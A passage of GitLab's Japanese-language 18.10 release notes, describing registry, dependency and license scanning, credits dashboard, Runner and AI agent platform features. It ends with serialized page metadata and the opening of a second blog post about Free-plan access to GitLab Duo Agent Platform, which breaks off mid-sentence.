Helmチャートレジストリを本番ワークロードに活用できるようになりました。ベータ版として提供されていたこのレジストリが、主要なアーキテクチャおよび信頼性の問題が解決されたことで、一般提供開始となりました。\n\n一般提供に向けた主な改善として、1,000件を超えるチャートの`index.yaml`エンドポイントの制限の解消、新しく公開されたチャートバージョンがインデックスに反映されないバックグラウンドインデックスのバグ修正、AppSecセキュリティレビューの完了、GitLab Geoを使用したセルフマネージドのお客様向けの高可用性を確保するHelmメタデータキャッシュのGeoレプリケーションサポートの追加が含まれます。\n\nプラットフォームチームおよびDevOpsチームは、パーソナルアクセストークン、デプロイトークン、CI/CDジョブトークンによる認証をサポートした標準的なHelmクライアントワークフローを使用して、HelmチャートをGitLabから直接公開・インストールできます。ソースコード、パイプライン、セキュリティスキャンとともにチャートを一元管理できるようになりました。\n\n[ドキュメント](https://docs.gitlab.com/user/packages/helm_repository/) | [イシュー](https://gitlab.com/gitlab-org/gitlab/-/work_items/573715)\n\n- - -\n\n### SBOMベースの依存関係スキャンでJava Gradleビルドファイルに対応\n\n> GitLab.com: Ultimate\\\n> Self-Managed: Ultimate\\\n> GitLab Dedicated: Ultimate\\\n> GitLab Dedicated for Government: Ultimate\n\nSBOMを使用したGitLabの依存関係スキャンが、Javaの`build.gradle`および`build.gradle.kts`ビルドファイルのスキャンに対応しました。\n\n従来、Gradleを使用したJavaプロジェクトの依存関係スキャンにはロックファイルが必要でした。今回のリリースでは、ロックファイルが存在しない場合、アナライザーが自動的に`build.gradle`および`build.gradle.kts`ファイルのスキャンにフォールバックし、脆弱性分析のために直接的な依存関係のみを抽出・レポートします。この改善により、Gradleを使用するJavaプロジェクトでロックファイルなしでも依存関係スキャンを容易に有効化できます。\n\nマニフェストフォールバックを有効にするには、CI/CD変数`DS_ENABLE_MANIFEST_FALLBACK`を`\"true\"`に設定してください。\n\n[ドキュメント](https://docs.gitlab.com/user/application_security/dependency_scanning/dependency_scanning_sbom/#manifest-fallback) | [イシュー](https://gitlab.com/gitlab-org/gitlab/-/work_items/588788)\n\n- - -\n\n### Pubパッケージマネージャーを使用したDart/Flutterプロジェクトのライセンススキャン対応\n\n> GitLab.com: Ultimate\\\n> Self-Managed: Ultimate\\\n> GitLab Dedicated: Ultimate\\\n> GitLab Dedicated for Government: Ultimate\n\n`pub`パッケージマネージャーを使用したDartおよびFlutterプロジェクトのライセンススキャンに対応しました。従来、DartまたはFlutterで開発するチームは、オープンソース依存関係のライセンスをGitLab内で直接特定することができず、ライセンスポリシー要件を持つ組織にとってコンプライアンスの盲点となっていました。\n\nライセンスデータは、Dartの公式パッケージリポジトリである[pub.dev](https://pub.dev)から直接取得され、他のサポートされているエコシステムとともに結果が表示されます。Dart/Flutterの依存関係スキャンと脆弱性検出は、すでにサポートされています。\n\n[ドキュメント](https://docs.gitlab.com/user/compliance/license_scanning_of_cyclonedx_files/#data-sources) | [エピック](https://gitlab.com/groups/gitlab-org/-/work_items/18351)\n\n- - -\n\n### クレジット使用データのCSVダウンロード\n\n> GitLab.com: Premium、Ultimate\\\n> Self-Managed: Premium、Ultimate\\\n> GitLab Dedicated: Ultimate\\\n> GitLab Dedicated for Government: Ultimate\n\n請求管理者は、Customers PortalのGitLabクレジットダッシュボードからクレジットの使用データをCSVファイルとして直接ダウンロードできるようになりました。\n\nエクスポートには、現在の請求月の日別・アクション別のクレジット消費の内訳が含まれ、コミットメント、免除、トライアル、オンデマンド、付属クレジットの使用状況が確認できます。\n\n財務チームおよびオペレーションチームは、このデータを使用して手動でのデータ収集やサポートリクエストなしに、Excel、Googleスプレッドシート、BIツールでコスト配分、チャージバックレポート、使用状況分析を実施できます。\n\n![クレジット使用データのCSVダウンロード](https://about.gitlab.com/images/18_10/fulfillment-credits-dashboard-csv-export.png)\n\n[ドキュメント](https://docs.gitlab.com/subscriptions/gitlab_credits/#export-usage-data) | [イシュー](https://gitlab.com/gitlab-org/customers-gitlab-com/-/work_items/14504)\n\n- - -\n\n### GitLabクレジットダッシュボードでのユーザーソート\n\n> GitLab.com: Premium、Ultimate\\\n> Self-Managed: Premium、Ultimate\\\n> GitLab Dedicated: Ultimate\\\n> GitLab Dedicated for Government: Ultimate\n\nエンタープライズ管理者は、GitLabクレジットダッシュボードの**ユーザーごとの使用状況**テーブルを、クレジット使用合計またはユーザー名でソートできるようになりました。\n\nデフォルトのソート順は使用クレジット合計（降順）であるため、スクロールせずに最も使用量の多いユーザーをすぐに確認できます。\n\nこのビューにより、数千人のGitLab Duoユーザーを管理する管理者は、コスト配分、チャージバックレポート、ライセンス利用状況の監査のために使用量の多いユーザーを迅速に特定できます。\n\n![GitLabクレジットダッシュボードでのユーザーソート](https://about.gitlab.com/images/18_10/fulfillment-credits-dashboard-sorting.jpg)\n\n[ドキュメント](https://docs.gitlab.com/subscriptions/gitlab_credits/#view-the-gitlab-credits-dashboard) | [イシュー](https://gitlab.com/gitlab-org/customers-gitlab-com/-/work_items/15608)\n\n- - -\n\n### グループおよびインスタンスのコード検索に対応した GitLab Blob Search\n\n> GitLab.com: Free、Premium、Ultimate\\\n> Self-Managed: Free、Premium、Ultimate\\\n> GitLab Dedicated: Ultimate\\\n> GitLab Dedicated for Government: Ultimate\n\n[`gitlab_blob_search`](https://docs.gitlab.com/user/duo_agent_platform/agents/tools/#:~:text=REST%20API%20endpoint.-,GitLab%20Blob%20Search,-gitlab_blob_search)ツールにより、GitLab AIエージェントが以下の範囲でコード検索を実行できるようになりました。\n\n* グループ内のすべてのプロジェクト\n* インスタンス上のアクセス可能なすべてのプロジェクト\n\n従来、Blob Searchは単一プロジェクトに限定されるか、明示的なプロジェクトIDの指定が必要でした。この変更により、AI搭載ワークフローで複数の関連プロジェクトにまたがるコードの発見と再利用が容易になりました。\n\n[ドキュメント](https://docs.gitlab.com/user/duo_agent_platform/agents/tools/#:~:text=REST%20API%20endpoint.-,GitLab%20Blob%20Search,-gitlab_blob_search) | [イシュー](https://gitlab.com/gitlab-org/gitlab/-/work_items/593221)\n\n- - -\n\n### Exploreのプロジェクトの新しいナビゲーション体験\n\n> GitLab.com: Free、Premium、Ultimate\\\n> Self-Managed: Free、Premium、Ultimate\\\n> GitLab Dedicated: Ultimate\\\n> GitLab Dedicated for Government: Ultimate\n\n**Explore**のプロジェクトページを整理し、長い間蓄積されてきた冗長なオプションを削除しました。シンプルになったインターフェースは、2つの主要なビューに集中しています。\n\n* **アクティブ**タブ：最近のアクティビティがあり、開発が進行中のプロジェクトを確認できます。\n* **非アクティブ**タブ：アーカイブされたプロジェクトや削除予定のプロジェクトにアクセスできます。\n\n冗長なタブを削除しました。\n\n* **スター数が最も多い**プロジェクトは、**アクティブ**または**非アクティブ**タブをスター数でソートすることで確認できます。\n* **すべて**のプロジェクトは、**アクティブ**と**非アクティブ**の両方のタブを表示することで確認できます。\n* **トレンド**タブは、機能の制限と低い利用率のため、GitLab 19.0で完全に削除されます。\n\n整理されたデザインは、他のプロジェクトリストとの視覚的な一貫性を確保しています。より論理的な構成と柔軟なソートオプションにより、従来と同じコンテンツにすべてアクセスできます。\n\n![Exploreのプロジェクトの新しいナビゲーション体験](https://about.gitlab.com/images/18_10/tenant_scale_explore_projects_ux_update.png)\n\n[ドキュメント](https://docs.gitlab.com/user/project/working_with_projects/#explore-all-projects-on-an-instance) | [エピック](https://gitlab.com/groups/gitlab-org/-/work_items/13786)\n\n- - -\n\n### GitLab Duo Agent Platform向けセルフホストVertex AI\n\n> Self-Managed: Premium、Ultimate\n\nGitLab Duo Agent Platform Self-Hostedで、Vertex AIがサポートされるLLMプラットフォームとして利用可能になりました。\n\nVertex AI上でホストされるAnthropicモデルを、GitLab Duo Agent Platform機能に使用するよう設定できるようになりました。\n\n[ドキュメント](https://docs.gitlab.com/administration/gitlab_duo_self_hosted/supported_llm_serving_platforms/#configure-authentication-with-google-vertex-ai) | [イシュー](https://gitlab.com/gitlab-org/gitlab/-/work_items/591604)\n\n- - -\n\n### プロジェクトからエージェントとフローを直接有効化\n\n> GitLab.com: Premium、Ultimate\\\n> Self-Managed: Premium、Ultimate\\\n> GitLab Dedicated: Ultimate\\\n> GitLab Dedicated for Government: Ultimate\n\nメンテナーおよびオーナーが、現在のコンテキストを離れることなく、プロジェクトまたはExploreページから直接エージェントとフローを有効化できるようになりました。\n\nトップレベルグループのオーナーは、グループおよびエージェントやフローを有効にする特定のプロジェクトも選択でき、ワークフローの設定を効率化できます。\n\n[ドキュメント](https://docs.gitlab.com/user/duo_agent_platform/agents/custom/#enable-an-agent) | [イシュー](https://gitlab.com/gitlab-org/gitlab/-/work_items/588012)\n\n- - -\n\n### GitLab Runner 18.10\n\n> GitLab.com: Free、Premium、Ultimate\\\n> Self-Managed: Free、Premium、Ultimate\\\n> GitLab Dedicated: Ultimate\\\n> GitLab Dedicated for Government: Ultimate\n\nGitLab Runner 18.10もリリースしました。GitLab Runnerは、CI/CDジョブを実行し、結果をGitLabインスタンスに返送する高いスケーラビリティを備えたビルドエージェントです。GitLab Runnerは、GitLabに含まれるオープンソースの継続的インテグレーションサービスであるGitLab CI/CDと連携して動作します。\n\n#### 新機能:\n\n* [ビルドポッドのPodレベルリソースをKubernetes Runnerで定義可能に](https://gitlab.com/gitlab-org/gitlab-runner/-/work_items/39085)\n* [すべてのRunnerプロジェクトのGoバージョンおよびパッケージ更新を自動化](https://gitlab.com/gitlab-org/gitlab-runner/-/work_items/39192)\n\n#### バグ修正:\n\n* [RoleARNを使用したS3キャッシュが、キャッシュ未存在時に404ではなく403を返す問題を修正](https://gitlab.com/gitlab-org/gitlab-runner/-/work_items/39105)\n* [ヘルパーイメージ`gitlab-runner-helper:x86_64-v16.11.1-nanoserver21H2`使用時に`init-permissions`エラーが発生する問題を修正](https://gitlab.com/gitlab-org/gitlab-runner/-/work_items/37872)\n* [macOS: LaunchAgent - M1アーキテクチャでサービスが初期化できない問題を修正](https://gitlab.com/gitlab-org/gitlab-runner/-/work_items/28136)\n\nすべての変更点のリストは、GitLab Runnerの[CHANGELOG](https://gitlab.com/gitlab-org/gitlab-runner/blob/18-10-stable/CHANGELOG.md)をご覧ください。\n\n[ドキュメント](https://docs.gitlab.com/runner) | [イシューボード](https://gitlab.com/groups/gitlab-org/-/boards/9726167?label_name[]=group%3A%3Arunner%20core&milestone_title=18.10)\n\n- - -\n\n### Conan 2.0パッケージレジストリのサポート（ベータ版）\n\n> GitLab.com: Free、Premium、Ultimate\\\n> Self-Managed: Free、Premium、Ultimate\\\n> GitLab Dedicated: Ultimate\\\n> GitLab Dedicated for Government: Ultimate\n\nパッケージマネージャーとしてConanを使用するCおよびC++開発チームから、GitLabでのレジストリサポートが長く求められていました。従来、Conanパッケージレジストリは実験的機能の段階でConan 1.xクライアントのみをサポートしていたため、最新のConan 2.0ツールチェーンに移行したチームの採用には限界がありました。\n\nConanパッケージレジストリが、Conan 2.0に対応し、実験的機能からベータ版に昇格しました。今回のリリースでは、v2 API完全互換性、レシピリビジョンサポート、検索機能の改善、`--force`フラグを含むアップロードポリシーの適切な処理が含まれます。標準的なConanクライアントワークフローを使用して、Conan 2.0パッケージをGitLabから直接公開・インストールでき、JFrog Artifactoryなどの外部アーティファクト管理ソリューションへの依存を軽減できます。\n\nこのアップデートにより、CおよびC++の依存関係を管理するプラットフォームエンジニアリングチームは、ソースコード、CI/CDパイプライン、セキュリティスキャンとともにパッケージ管理をGitLab内で一元化できます。Conanレジストリはプロジェクトレベルおよびインスタンスレベルのエンドポイントに対応しており、パーソナルアクセストークン、デプロイトークン、CI/CDジョブトークンによる認証が可能です。\n\n一般提供に向けた改善にご協力ください。ご利用の感想は[エピック](https://gitlab.com/groups/gitlab-org/-/work_items/6816)からお寄せください。\n\n[ドキュメント](https://docs.gitlab.com/user/packages/conan_2_repository/) | [イシュー](https://gitlab.com/gitlab-org/gitlab/-/work_items/585819)\n\n- - -\n\n### 専用UIでのコンテナ仮想レジストリの管理（ベータ版）\n\n> GitLab.com: Premium、Ultimate\\\n> Self-Managed: Premium、Ultimate\\\n> GitLab Dedicated: Ultimate\\\n> GitLab Dedicated for Government: Ultimate\n\n前回のマイルストーンでコンテナ仮想レジストリがベータとして提供開始された際、プラットフォームエンジニアは複数のアップストリームコンテナレジストリ（Docker Hub、Harbor、Quayなど）を単一のプルエンドポイントの背後に集約できるようになりました。しかし、すべての設定にはAPI呼び出しが直接必要であり、レジストリの作成・管理、アップストリームの設定、変更の処理にスクリプトや手動のcurlコマンドを維持する必要がありました。\n\nコンテナ仮想レジストリをGitLab UIから直接作成・管理できるようになりました。グループレベルのコンテナレジストリページから、新しい仮想レジストリの作成、認証情報を含むアップストリームソースの設定、既存の構成の編集、不要になったレジストリの削除が可能です。GitLabを離れたりAPI呼び出しを記述したりする必要はありません。UIは既存のコンテナレジストリ体験とシームレスに統合されており、仮想レジストリがグループのアーティファクト管理ワークフローの中でファーストクラスの機能となりました。\n\nこの機能はベータ版です。フィードバックは[フィードバックイシュー](https://gitlab.com/gitlab-org/gitlab/-/work_items/589630)からお寄せください。\n\n[ドキュメント](https://docs.gitlab.com/user/packages/virtual_registry/container/) | [エピック](https://gitlab.com/groups/gitlab-org/-/work_items/19283)\n\n- - -\n\n### SBOMベースの依存関係スキャンがセルフマネージドに拡張\n\n> GitLab.com: Ultimate\\\n> Self-Managed: Ultimate\n\nGitLab 18.10では、新しいSBOMベースの依存関係スキャン機能の限定提供ステータスをセルフマネージドインスタンスに拡張しました。\n\nこの機能は、GitLab 18.5でGitLab.comのみを対象とした限定提供として初めてリリースされ、フィーチャーフラグ`dependency_scanning_sbom_scan_api`の下でデフォルトでは無効化されていました。\n\n追加の改善と修正により、新しいSBOMスキャン内部APIを確実に使用できるようになり、このフィーチャーフラグをデフォルトで有効化しました。この内部APIにより、依存関係スキャンアナライザーは全コンポーネントの脆弱性を含む依存関係スキャンレポートを生成します。CI/CDパイプライン完了後にSBOMレポートを処理していた従来の動作（ベータ版）とは異なり、[改善されたプロセス](https://docs.gitlab.com/user/application_security/dependency_scanning/dependency_scanning_sbom/#how-it-scans-an-application)ではCI/CDジョブ実行中にスキャン結果を即座に生成し、カスタムワークフロー向けに脆弱性データへの即時アクセスが可能になりました。\n\n問題が発生したセルフマネージドのお客様は、`dependency_scanning_sbom_scan_api`フィーチャーフラグを無効化することで、従来の動作にフォールバックできます。\n\nこの機能を使用するには、v2依存関係スキャンテンプレート`Jobs/Dependency-Scanning.v2.gitlab-ci.yml`をインポートしてください。\n\nこの機能に関するフィードバックをお待ちしております。ご質問、コメント、チームとのやり取りについては、[フィードバックイシュー](https://gitlab.com/gitlab-org/gitlab/-/issues/523458)からお問い合わせください。\n\n[ドキュメント](https://docs.gitlab.com/user/application_security/dependency_scanning/dependency_scanning_sbom/) | [イシュー](https://gitlab.com/gitlab-org/gitlab/-/work_items/546429)\n\n- - -\n\n### セキュリティ構成プロファイルでのパイプラインシークレット検出\n\n> GitLab.com: Ultimate\\\n> Self-Managed: Ultimate\\\n> GitLab Dedicated: Ultimate\\\n> GitLab Dedicated for Government: Ultimate\n\nGitLab 18.9では、プッシュ保護から始まる**Secret Detection - Default**プロファイルとともにセキュリティ構成プロファイルを導入しました。このプロファイルを使用して、単一のCI/CD設定ファイルも変更することなく、標準化されたシークレットスキャンを数百のプロジェクトに適用できます。\n\n**Secret Detection - Default**プロファイルにパイプラインベースのスキャンも含まれるようになり、開発ワークフロー全体にわたるシークレット検出の統一的な制御を提供します。\n\nこのプロファイルは3つのスキャントリガーを有効にします。\n\n* **プッシュ保護**: すべてのGitプッシュイベントをスキャンし、シークレットが検出されたプッシュをブロックすることで、シークレットがコードベースに入ることを防ぎます。\n* **マージリクエストパイプライン**: オープンなマージリクエストがあるブランチに新しいコミットがプッシュされるたびに自動的にスキャンを実行します。結果にはマージリクエストで導入された新しい脆弱性のみが含まれます。\n* **ブランチパイプライン（デフォルトブランチのみ）**: 変更がデフォルトブランチにマージまたはプッシュされたときに自動的に実行され、デフォルトブランチのシークレット検出状態の完全な可視化を提供します。\n\nプロファイルの適用にはYAML設定は不要です。プロファイルはグループに適用してすべてのプロジェクトにカバレッジを伝播させるか、個別のプロジェクトに適用してより詳細な制御を行えます。\n\n[ドキュメント](https://docs.gitlab.com/user/application_security/configuration/security_configuration_profiles/) | [エピック](https://gitlab.com/groups/gitlab-org/-/work_items/19802)\n\n- - -\n\n### クレジット使用状況をGitLab Duo Agent Platformセッションにリンク\n\n> GitLab.com: Premium、Ultimate\\\n> Self-Managed: Premium、Ultimate\\\n> GitLab Dedicated: Ultimate\\\n> GitLab Dedicated for Government: Ultimate\n\nGitLabクレジットダッシュボードで、クレジット消費を生成したGitLab Duo Agent Platformセッションに直接リンクできるようになりました。\n\nユーザー別の詳細ビューで、Agent Platform使用行（**Agentic Chat**や**基本エージェント**など）の**アクション**列がクリック可能なハイパーリンクとなり、対応するセッションの詳細に遷移できます。\n\nこのリンクにより、請求からAIセッションの動作への直接的な監査証跡が提供されます。管理者は、別々のシステム間でタイムスタンプを手動で照合することなく、クレジット使用状況の調査、サポートのエスカレーション、コンプライアンスレビューを実施できます。\n\n![クレジット使用状況をGitLab Duo Agent Platformセッションにリンク](https://about.gitlab.com/images/18_10/fulfillment-credits-dashboard-dap-session-links.jpg)\n\n[ドキュメント](https://docs.gitlab.com/subscriptions/gitlab_credits/#gitlab-credits-dashboard) | [イシュー](https://gitlab.com/gitlab-org/gitlab/-/work_items/579139)\n\n- - -\n\n### プロジェクトのリモートフローにネットワークアクセス制御を設定\n\n> GitLab.com: Premium、Ultimate\\\n> Self-Managed: Premium、Ultimate\\\n> GitLab Dedicated: Ultimate\\\n> GitLab Dedicated for Government: Ultimate\n\nプロジェクト内のGitLab Runnerを使用するフローに対して、[ネットワークアクセス制御](https://docs.gitlab.com/user/duo_agent_platform/environment_sandbox/)を設定できるようになりました。\n\nネットワーク宛先の制御を維持しながら、安全な外部統合を実現します。プロジェクトのメンテナーは、必要なAPI接続、MCPサーバー、サードパーティサービスを許可しつつ、セキュリティ境界を適用する柔軟性を備えています。\n\nネットワークアクセス制御は、`agent-config.yml`の`network_policy`セクションで設定します。`agent-config.yml`はブランチ保護ルールおよびマージリクエスト承認ワークフローによって保護されています。\n\n![プロジェクトのリモートフローにネットワークアクセス制御を設定](https://about.gitlab.com/images/18_10/projectlevel_network_access_control_for_remote_flows.png)\n\n[ドキュメント](https://docs.gitlab.com/user/duo_agent_platform/environment_sandbox/#configure-a-network-policy) | [イシュー](https://gitlab.com/gitlab-org/gitlab/-/work_items/593560)\n\n- - -\n\n### パイプライン管理のためのGitLab MCPサーバーツール\n\n> GitLab.com: Premium、Ultimate\\\n> Self-Managed: Premium、Ultimate\\\n> GitLab Dedicated: Ultimate\\\n> GitLab Dedicated for Government: Ultimate\n\n新しい`manage_pipeline`ツールにより、CI/CDパイプラインをGitLabプロジェクト内で管理できるようになりました。このGitLab MCPサーバーツールを使用すると、AIエージェントがパイプラインの作成、キャンセル、リトライ、削除、メタデータの更新を単一の呼び出しで実行できます。複数のステップを組み合わせてパイプラインワークフローを自動化する必要がなくなりました。\n\nその他のGitLab MCPサーバーツールのご要望があれば、[フィードバックイシュー](https://gitlab.com/gitlab-org/gitlab/-/work_items/566375)からお知らせください。\n\n[ドキュメント](https://docs.gitlab.com/user/gitlab_duo/model_context_protocol/mcp_server_tools/#manage_pipeline) | [イシュー](https://gitlab.com/gitlab-org/gitlab/-/work_items/583826)\n\n- - -\n\n### プロジェクトメンテナーがカスタムエージェントとフローを有効化可能に\n\n> GitLab.com: Premium、Ultimate\\\n> Self-Managed: Premium、Ultimate\\\n> GitLab Dedicated: Ultimate\\\n> GitLab Dedicated for Government: Ultimate\n\n従来、AIカタログからのAIエージェントとフローの有効化には、トップレベルグループの権限が必要でした。\n\nExploreレベルまたはプロジェクトレベルでAIカタログを閲覧する際、プロジェクトのメンテナーが自身のプロジェクトで直接エージェントとフローを有効化できるようになりました。\n\n[ドキュメント](https://docs.gitlab.com/user/duo_agent_platform/flows/custom/#enable-a-flow) | [イシュー](https://gitlab.com/gitlab-org/gitlab/-/work_items/590573)\n\n- - -\n\n### IDEおよびCI/CDパイプラインでのAgent Skillsのサポート\n\n> GitLab.com: Premium、Ultimate\\\n> Self-Managed: Premium、Ultimate\\\n> GitLab Dedicated: Ultimate\n\nGitLab Duo Agent Platformが、AIエージェントに新しい機能と専門知識を付与するための新しい標準規格である[Agent Skills仕様](https://agentskills.io/specification)に対応しました。\n\nプロジェクトのワークスペースレベルでAgent Skillsを定義し、特定のフレームワークでのテスト記述など、特定タスクに対する専門知識とワークフローをエージェントに付与できます。エージェントは該当するタスクに遭遇した際、関連するスキルを自動的に検出・ロードします。\n\n名前、ファイルパス、カスタムスラッシュコマンドでスキルを手動でトリガーすることも可能です。Agent SkillsはIDE内のフローやAgentic Chat、CI/CDパイプラインで実行されるフローからアクセスでき、仕様をサポートする他のAIツールでも利用できます。\n\n[ドキュメント](https://docs.gitlab.com/user/duo_agent_platform/customize/agent_skills/) | [イシュー](https://gitlab.com/gitlab-org/editor-extensions/gitlab-lsp/-/issues/1984)\n\n- - -\n\n### 実験的機能\n\n#### ジョブアドミッション制御のためのRunnerコントローラー\n\nRunnerコントローラーにより、Runner割り当て前にCI/CDジョブにカスタムポリシーを適用できるようになりました。Runnerコントローラーはジョブルーターに接続し、カスタムルールに基づいて受入または拒否の判断を行います。アドミッション制御、コンプライアンスの適用、コストおよびリソースガバナンスにご活用ください。コントローラーはインスタンスRunnerに対応しており、適用前の安全な検証のためのドライランモードもサポートしています。これは[実験的機能](https://docs.gitlab.com/policy/development_stages_support/)です。詳細は、[チュートリアル: Runnerアドミッションコントローラーの構築](https://docs.gitlab.com/tutorials/build_runner_admission_controller/)をご覧ください。\n\n- - -\n\n### バグ修正、パフォーマンスの改善、UIの改善\n\nGitLabでは、ユーザーの皆さまに最高のエクスペリエンスを提供することに取り組んでいます。リリースのたびに、バグの修正、パフォーマンスの改善、UIの向上に努めています。GitLab.comの100万人以上のユーザーの方も、他のプラットフォームをお使いの方も、快適でスムーズなご利用をお届けします。\n\n以下のリンクから、18.10で提供されたすべてのバグ修正、パフォーマンス改善、UI改善をご確認いただけます。\n\n* [バグ修正](https://gitlab.com/groups/gitlab-org/-/issues/?sort=updated_desc&state=closed&label_name%5B%5D=type%3A%3Abug&or%5Blabel_name%5D%5B%5D=workflow%3A%3Acomplete&or%5Blabel_name%5D%5B%5D=workflow%3A%3Averification&or%5Blabel_name%5D%5B%5D=workflow%3A%3Aproduction&milestone_title=18.10)\n* [パフォーマンスの改善](https://gitlab.com/groups/gitlab-org/-/issues/?sort=updated_desc&state=closed&label_name%5B%5D=bug%3A%3Aperformance&or%5Blabel_name%5D%5B%5D=workflow%3A%3Acomplete&or%5Blabel_name%5D%5B%5D=workflow%3A%3Averification&or%5Blabel_name%5D%5B%5D=workflow%3A%3Aproduction&milestone_title=18.10)\n* [UIの改善](https://papercuts.gitlab.com/?milestone=18.10)\n\n- - -\n\n## 非推奨（Deprecation）\n\n新しい非推奨機能および現在非推奨となっているすべての機能のリストは、[GitLabドキュメント](https://docs.gitlab.com/ee/update/deprecations.html)でご確認いただけます。今後の破壊的変更の通知を受け取るには、[破壊的変更RSSフィード](https://about.gitlab.com/breaking-changes.xml)をご購読ください。\n\n## 削除と破壊的変更\n\n削除されたすべての機能のリストは、[GitLabドキュメント](https://docs.gitlab.com/ee/update/deprecations.html)でご確認いただけます。今後の破壊的変更の通知を受け取るには、[破壊的変更RSSフィード](https://about.gitlab.com/breaking-changes.xml)をご購読ください。\n\n### 変更履歴\n\n名前付きの変更点については、各チェンジログをご確認ください。\n\n* [GitLab](https://gitlab.com/gitlab-org/gitlab-foss/blob/master/CHANGELOG.md)\n* [GitLab Runner](https://gitlab.com/gitlab-org/gitlab-runner/blob/main/CHANGELOG.md)\n* [GitLab Workflow for VS Code](https://gitlab.com/gitlab-org/gitlab-vscode-extension/-/blob/main/CHANGELOG.md)\n* [GitLab CLI](https://gitlab.com/gitlab-org/cli/-/releases)\n\n### インストール\n\n新規にGitLabをセットアップする場合は、[GitLabダウンロードページ](https://about.gitlab.com/install/)をご覧ください。\n\n### アップデート\n\n[アップデートページ](https://about.gitlab.com/update/)をご確認ください。\n\n### ご不明な点がある場合\n\nご質問やご意見をお聞かせください。本リリースについてご不明な点がある場合は、[GitLabフォーラム](https://forum.gitlab.com/)にアクセスして質問を投稿してください。\n\n### GitLabサブスクリプションプラン\n\n* [Free](https://about.gitlab.com/pricing/)\n  ユーザー向けの永久無料機能を提供\n* [Premium](https://about.gitlab.com/pricing/premium/)\n  チームの生産性と調整を強化\n* [Ultimate](https://about.gitlab.com/pricing/ultimate/)\n   組織全体のセキュリティ、コンプライアンス、プランニングに対応\n  GitLabのすべての機能を[無料](https://about.gitlab.com/free-trial/?hosted=saas)でお試しいただけます。\n\n*\\--------------------*\n\n*監修：ソリス ジェレズ / Jerez Solis @jerezs （GitLab合同会社 ソリューションアーキテクト本部 ソリューションアーキテクト）*\n\n### 過去の日本語リリース情報\n\n* [GitLab 18.9](https://about.gitlab.com/ja-jp/blog/gitlab-18-09-release/)\n* [GitLab 18.8](https://about.gitlab.com/ja-jp/blog/gitlab-18-08-release/)\n* [GitLab 18.7](https://about.gitlab.com/ja-jp/blog/gitlab-18-07-release/)\n* [GitLab 18.6](https://about.gitlab.com/ja-jp/blog/gitlab-18-06-release/)\n* [GitLab 18.5](https://about.gitlab.com/ja-jp/blog/gitlab-18-05-release/)\n* [GitLab 18.4](https://about.gitlab.com/ja-jp/blog/gitlab-18-04-release)\n* [GitLab 18.3](https://about.gitlab.com/ja-jp/blog/gitlab-18-03-release)\n* [GitLab 18.2](https://about.gitlab.com/ja-jp/blog/gitlab-18-02-release/)\n* [GitLab 18.1](https://about.gitlab.com/ja-jp/blog/gitlab-18-01-release/)\n* [GitLab 18.0](https://about.gitlab.com/ja-jp/blog/gitlab-18-0-release/)\n* [GitLab 17.11](https://about.gitlab.com/ja-jp/blog/gitlab-17-11-release/)\n* [GitLab 17.10](https://about.gitlab.com/ja-jp/blog/gitlab-17-10-release/)\n* [GitLab 17.9](https://about.gitlab.com/ja-jp/blog/gitlab-17-9-release/)\n* [GitLab 17.8](https://about.gitlab.com/ja-jp/blog/gitlab-17-8-release/)\n* [GitLab 17.7](https://about.gitlab.com/ja-jp/blog/gitlab-17-7-release/)\n* [GitLab 17.6](https://about.gitlab.com/ja-jp/blog/gitlab-17-6-release/)\n* [GitLab 17.5](https://about.gitlab.com/ja-jp/blog/gitlab-17-5-released/)\n* [GitLab 17.4](https://about.gitlab.com/ja-jp/blog/gitlab-17-4-released/)\n* [GitLab 17.3](https://about.gitlab.com/ja-jp/blog/gitlab-17-3-released/)\n* [GitLab 17.2](https://about.gitlab.com/ja-jp/blog/gitlab-17-2-released/)\n* [GitLab 17.1](https://about.gitlab.com/ja-jp/blog/gitlab-17-1-released/)\n* [GitLab 16.11](https://about.gitlab.com/ja-jp/blog/gitlab-16-11-released/)",[912],"2026-03-19","GitLab 18.10リリース",[1045,806,745,88],"GitLab 18.10でリリースした最新機能を公開します。",{"featured":13,"template":796,"slug":1114},"gitlab-18-10-release",{"content":1116,"config":1123},{"heroImage":784,"body":1117,"authors":1118,"updatedDate":788,"date":1109,"title":1120,"tags":1121,"description":1122,"category":745},"エージェント型AIは、ソフトウェア開発のあり方を大きく変えつつあります。しかし多くのチーム、特に中小規模のチームにとって、AIの導入は「すべてか無か」の選択を迫られるものでした。つまり、プラットフォームのフルサブスクリプションを契約するか、AIをまったく使わないかの二択しかありませんでした。\n\nGitLab 18.10で、この状況が変わります。本日より、GitLab.comのFreeプランを利用するチームは、[GitLabクレジット](https://docs.gitlab.com/ja-jp/subscriptions/gitlab_credits/)を購入して月額料金にコミットすることにより、[GitLab Duo Agent Platform](https://docs.gitlab.com/ja-jp/user/duo_agent_platform/)をすぐに利用開始できます。サブスクリプションのアップグレードは不要です。GitLab有料プランの追加はまだ検討していないものの、AIを活用した開発を始めたいチームにとって、エージェント型AIへの本格的なエントリーポイントとなります。\n\nモデルはシンプルで、利用するユーザー数ではなくAIが実行した作業に対して課金されます。グループオーナーがグループの請求設定からGitLabクレジットを購入して月額料金にコミットすると、チーム全体がGitLab PremiumおよびUltimateのお客様と同じAIエージェントとワークフローにアクセスできるようになります。計画、コード生成、自動コードレビュー、パイプライン診断のすべてを、共有クレジットプールから利用可能です。\n\n[GitLabクレジット](https://docs.gitlab.com/ja-jp/subscriptions/gitlab_credits/#gitlab-credits-dashboard)[ダッシュボード](https://docs.gitlab.com/ja-jp/subscriptions/gitlab_credits/#gitlab-credits-dashboard)により、グループオーナーはどのエージェントやワークフローがクレジットを消費しているかを把握でき、AI関連の支出を実際の作業成果に直接紐づけることが可能です。\n\n![月額コミットメント50クレジットのプール、使用状況の追跡、オンデマンドクレジット消費、Duo Agent Platformのユーザーあたりのクレジット割り当てを表示するGitLabクレジットダッシュボード](https://res.cloudinary.com/about-gitlab-com/image/upload/v1773867549/jdrzquwptvjnbr7eqd56.png)\n\n## 購入したその日からGitLab Duo Agent Platformを利用可能\n\nグループオーナーがクレジットを購入すると、チームの全メンバーがすぐにGitLab Duo Agent Platformの利用を開始できます。\n\n一般的なワークフローは次のとおりです。\n\nまず、ソフトウェアの機能リクエストから始めます。GitLab Duo 